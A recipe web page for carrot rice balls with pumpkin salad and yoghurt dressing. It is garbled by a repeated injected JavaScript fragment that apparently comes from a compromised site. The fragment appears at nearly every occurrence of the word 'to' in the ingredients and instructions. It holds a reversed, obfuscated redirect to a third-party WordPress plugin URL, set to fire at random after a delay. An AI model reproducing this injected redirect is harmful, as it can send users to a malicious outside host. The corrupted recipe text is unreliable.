Carrot Rice Ball and Pumpkin Salad

Why not try this healthy carrot rice ball and pumpkin salad drizzled with a tasty yoghurt dressing?

Ingredients

1 large grated carrot
500g diced pumpkin
250g packet microwave quinoa and brown rice mix
1/3 cup sultanas
½ tsp garam masala
¼ cup finely chopped chives
80g low-fat fetta
2tbsp orange juice
1 small thinly sliced red onion
1 sliced avocado
¼ cup toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toasted walnuts
2/3 cup plain Greek yoghurt
1tbsp sesame seeds
120g packet salad leaves
2tbsp white wine vinegar
Olive oil cooking spray
1 small red chopped capsicum

Instructions

1. Preheat oven toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 220°C/200°C fan forced. Line a large baking tray with baking paper.
2. Place pumpkin in microwave-safe bowl and cover with plastic wrap. Microwave on high for six minutes or until tender before draining and mashing. Stir in rice mix, carrots, chives, sultanas, garam masala and fetta and season toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to taste.
3. Roll mixture intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 3 cm balls and place on baking tray before spraying with oil. Sprinkle balls with sesame seeds and bake for 15 minutes or until just brown. Allow toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cool for five minutes.
4. Mix vinegar, red onion and orange juice in a small bowl and season and leave toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to stand for 15 minutes.
5. Drain the onion preserving the vinegar mixture and stir vinegar intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the yoghurt. Arrange salad mix, pickled onion, walnuts, avocado and capsicum on a serving platter and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top with balls. Drizzle salad with yoghurt dressing and serve.